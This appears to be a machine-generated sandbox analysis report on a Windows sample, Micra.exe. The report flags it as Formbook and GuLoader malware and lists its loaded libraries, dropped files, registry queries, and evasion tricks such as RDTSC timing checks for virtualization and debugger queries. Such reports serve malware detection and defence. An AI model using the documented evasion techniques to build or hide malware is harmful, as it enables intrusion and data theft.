Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662053	5_2_01662053
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662011	5_2_01662011
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016620F0	5_2_016620F0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016620B8	5_2_016620B8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166009B	5_2_0166009B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662312	5_2_01662312
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016623C2	5_2_016623C2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016623A8	5_2_016623A8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662389	5_2_01662389
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662261	5_2_01662261
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662278	5_2_01662278
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166222D	5_2_0166222D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166022B	5_2_0166022B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016622E0	5_2_016622E0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016622B0	5_2_016622B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662533	5_2_01662533
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016625DC	5_2_016625DC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016625B7	5_2_016625B7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662597	5_2_01662597
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166245D	5_2_0166245D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166242F	5_2_0166242F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166241F	5_2_0166241F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016624FC	5_2_016624FC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016624BB	5_2_016624BB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166276E	5_2_0166276E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016627FE	5_2_016627FE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016627C6	5_2_016627C6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662797	5_2_01662797
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662647	5_2_01662647
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662613	5_2_01662613
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016626E9	5_2_016626E9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016626A8	5_2_016626A8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662681	5_2_01662681
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662964	5_2_01662964
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166290D	5_2_0166290D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016629FC	5_2_016629FC
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016629D7	5_2_016629D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662995	5_2_01662995
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662838	5_2_01662838
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016628D1	5_2_016628D1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662896	5_2_01662896
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662A77	5_2_01662A77
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662A52	5_2_01662A52
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01662AF9	5_2_01662AF9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660DEF	5_2_01660DEF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660DFE	5_2_01660DFE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660DDB	5_2_01660DDB
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660F64	5_2_01660F64
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660F44	5_2_01660F44
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660FD8	5_2_01660FD8
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660FA1	5_2_01660FA1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660E68	5_2_01660E68
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660E3B	5_2_01660E3B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660EE4	5_2_01660EE4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01660EB7	5_2_01660EB7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01661172	5_2_01661172

Source: C:\Users\user\Desktop\Micra.exe	Code function: String function: 357DEA12 appears 66 times
Source: C:\Users\user\Desktop\Micra.exe	Code function: String function: 357B7E54 appears 96 times
Source: C:\Users\user\Desktop\Micra.exe	Code function: String function: 3575B970 appears 201 times
Source: C:\Users\user\Desktop\Micra.exe	Code function: String function: 357EF290 appears 84 times

Source: Micra.exe

Static PE information: invalid certificate

Source: Micra.exe, 00000005.00000002.4039419079.000000003585D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Micra.exe
Source: Micra.exe, 00000005.00000003.3977470529.00000000356AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Micra.exe
Source: Micra.exe, 00000005.00000003.3974687432.00000000354EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Micra.exe

Source: Micra.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal92.troj.evad.winEXE@3/12@2/2

Source: C:\Users\user\Desktop\Micra.exe

0_2_004031BB

Source: C:\Users\user\Desktop\Micra.exe

Code function: 0_2_00404460 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404460

Source: C:\Users\user\Desktop\Micra.exe

Code function: 0_2_004020CB CoCreateInstance,MultiByteToWideChar,

0_2_004020CB

Source: C:\Users\user\Desktop\Micra.exe

File created: C:\Users\user\entomostraca

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

File created: C:\Users\user\AppData\Local\Temp\nsi283C.tmp

Jump to behavior

Source: Micra.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Micra.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Micra.exe

ReversingLabs: Detection: 16%

Source: C:\Users\user\Desktop\Micra.exe

File read: C:\Users\user\Desktop\Micra.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Micra.exe "C:\Users\user\Desktop\Micra.exe"
Source: C:\Users\user\Desktop\Micra.exe	Process created: C:\Users\user\Desktop\Micra.exe "C:\Users\user\Desktop\Micra.exe"
Source: C:\Users\user\Desktop\Micra.exe	Process created: C:\Users\user\Desktop\Micra.exe "C:\Users\user\Desktop\Micra.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

File written: C:\Windows\Resources\nringsmiddelet.ini

Jump to behavior

Source: Micra.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: wntdll.pdbUGP source: Micra.exe, 00000005.00000002.4039419079.0000000035730000.00000040.00001000.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4039419079.00000000358CE000.00000040.00001000.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974687432.00000000353C7000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3977470529.000000003557D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Micra.exe, Micra.exe, 00000005.00000002.4039419079.0000000035730000.00000040.00001000.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4039419079.00000000358CE000.00000040.00001000.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974687432.00000000353C7000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3977470529.000000003557D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.3421465563.000000000336C000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Micra.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_10002D20 push eax; ret	0_2_10002D4E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03197367 push 2C85D16Ah; ret	0_2_03197375
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031933D0 push ds; ret	0_2_031933F2
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031943ED push ebp; ret	0_2_0319440D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319460A push es; ret	0_2_03194615
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03195630 pushad ; ret	0_2_03195632
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03195241 push esp; retf	0_2_0319526E
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319427E push ss; ret	0_2_03194296
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03193272 push ds; ret	0_2_0319327C
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03195A87 push esi; retf	0_2_03195AD7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031962BD push ss; ret	0_2_031962BE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031936BE push ds; ret	0_2_031936E1
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031962A0 push ebx; ret	0_2_031962AF
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03195AC3 push esi; retf	0_2_03195AD7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03194111 push eax; ret	0_2_03194189
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03193122 push ds; ret	0_2_03193123
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319314D pushfd ; iretd	0_2_0319316B
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319357E push ds; ret	0_2_0319357F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03193961 push es; retf	0_2_03193962
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_031935A8 pushfd ; iretd	0_2_031935C6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_0319343D pushfd ; iretd	0_2_03193451
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_03193845 push ds; ret	0_2_03193846
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35731368 push eax; iretd	5_2_35731369
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35731FEC push eax; iretd	5_2_35731FED
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3573225F pushad ; ret	5_2_357327F9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35734219 pushad ; retn 000Dh	5_2_35734275
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357609AD push ecx; mov dword ptr [esp], ecx	5_2_357609B6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35732851 push eax; iretd	5_2_35732858
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_01664111 push eax; ret	5_2_01664189
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_016643ED push ebp; ret	5_2_0166440D
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_0166427E push ss; ret	5_2_01664296

Source: C:\Users\user\Desktop\Micra.exe

File created: C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Micra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Micra.exe	API/Special instruction interceptor: Address: 3BCC2A3
Source: C:\Users\user\Desktop\Micra.exe	API/Special instruction interceptor: Address: 209C2A3

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Micra.exe	RDTSC instruction interceptor: First address: 3BA1470 second address: 3BA1470 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F733C51F5F6h 0x00000006 test ebx, eax 0x00000008 inc ebp 0x00000009 cmp ah, ch 0x0000000b inc ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Micra.exe	RDTSC instruction interceptor: First address: 2071470 second address: 2071470 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F733D299B56h 0x00000006 test ebx, eax 0x00000008 inc ebp 0x00000009 cmp ah, ch 0x0000000b inc ebx 0x0000000c rdtsc

Source: C:\Users\user\Desktop\Micra.exe

Code function: 5_2_357DD1C0 rdtsc

5_2_357DD1C0

Source: C:\Users\user\Desktop\Micra.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Micra.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\Micra.exe TID: 3960

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_00406232 FindFirstFileA,FindClose,	0_2_00406232
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_004056F7 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004056F7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 0_2_004026F8 FindFirstFileA,	0_2_004026F8

Source: Micra.exe, 00000005.00000002.4015685670.00000000056BA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975020010.00000000056BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Micra.exe, 00000005.00000002.4015685670.00000000056BA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975020010.00000000056BA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Micra.exe	API call chain: ExitProcess graph end node			graph_0-34600
Source: C:\Users\user\Desktop\Micra.exe	API call chain: ExitProcess graph end node			graph_0-34604

Source: C:\Users\user\Desktop\Micra.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Micra.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Micra.exe

Code function: 5_2_357DD1C0 rdtsc

5_2_357DD1C0

Source: C:\Users\user\Desktop\Micra.exe

Code function: 0_2_00402D48 GetTempPathA,GetTickCount,GetModuleFileNameA,LdrInitializeThunk,GetFileSize,GlobalAlloc,SetFilePointer,

0_2_00402D48

Source: C:\Users\user\Desktop\Micra.exe

0_2_10001A5D

Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579B570 mov eax, dword ptr fs:[00000030h]	5_2_3579B570
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579B570 mov eax, dword ptr fs:[00000030h]	5_2_3579B570
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575B562 mov eax, dword ptr fs:[00000030h]	5_2_3575B562
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358335B6 mov eax, dword ptr fs:[00000030h]	5_2_358335B6
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581F5BE mov eax, dword ptr fs:[00000030h]	5_2_3581F5BE
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3576D534 mov eax, dword ptr fs:[00000030h]	5_2_3576D534
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579D530 mov eax, dword ptr fs:[00000030h]	5_2_3579D530
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3579D530 mov eax, dword ptr fs:[00000030h]	5_2_3579D530
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358355C9 mov eax, dword ptr fs:[00000030h]	5_2_358355C9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358335D7 mov eax, dword ptr fs:[00000030h]	5_2_358335D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358335D7 mov eax, dword ptr fs:[00000030h]	5_2_358335D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_358335D7 mov eax, dword ptr fs:[00000030h]	5_2_358335D7
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35797505 mov eax, dword ptr fs:[00000030h]	5_2_35797505
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35797505 mov ecx, dword ptr fs:[00000030h]	5_2_35797505
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815F4 mov eax, dword ptr fs:[00000030h]	5_2_357815F4
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357895DA mov eax, dword ptr fs:[00000030h]	5_2_357895DA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD5D0 mov eax, dword ptr fs:[00000030h]	5_2_357DD5D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357DD5D0 mov ecx, dword ptr fs:[00000030h]	5_2_357DD5D0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3581B52F mov eax, dword ptr fs:[00000030h]	5_2_3581B52F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35835537 mov eax, dword ptr fs:[00000030h]	5_2_35835537
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357955C0 mov eax, dword ptr fs:[00000030h]	5_2_357955C0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F35BA mov eax, dword ptr fs:[00000030h]	5_2_357F35BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F35BA mov eax, dword ptr fs:[00000030h]	5_2_357F35BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F35BA mov eax, dword ptr fs:[00000030h]	5_2_357F35BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357F35BA mov eax, dword ptr fs:[00000030h]	5_2_357F35BA
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357FD5B0 mov eax, dword ptr fs:[00000030h]	5_2_357FD5B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357FD5B0 mov eax, dword ptr fs:[00000030h]	5_2_357FD5B0
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B550 mov eax, dword ptr fs:[00000030h]	5_2_3580B550
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B550 mov eax, dword ptr fs:[00000030h]	5_2_3580B550
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3580B550 mov eax, dword ptr fs:[00000030h]	5_2_3580B550
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815A9 mov eax, dword ptr fs:[00000030h]	5_2_357815A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815A9 mov eax, dword ptr fs:[00000030h]	5_2_357815A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815A9 mov eax, dword ptr fs:[00000030h]	5_2_357815A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815A9 mov eax, dword ptr fs:[00000030h]	5_2_357815A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_357815A9 mov eax, dword ptr fs:[00000030h]	5_2_357815A9
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575758F mov eax, dword ptr fs:[00000030h]	5_2_3575758F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575758F mov eax, dword ptr fs:[00000030h]	5_2_3575758F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3575758F mov eax, dword ptr fs:[00000030h]	5_2_3575758F
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460 mov eax, dword ptr fs:[00000030h]	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460 mov eax, dword ptr fs:[00000030h]	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460 mov eax, dword ptr fs:[00000030h]	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460 mov eax, dword ptr fs:[00000030h]	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_35761460 mov eax, dword ptr fs:[00000030h]	5_2_35761460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
Source: C:\Users\user\Desktop\Micra.exe	Code function: 5_2_3577F460 mov eax, dword ptr fs:[00000030h]	5_2_3577F460
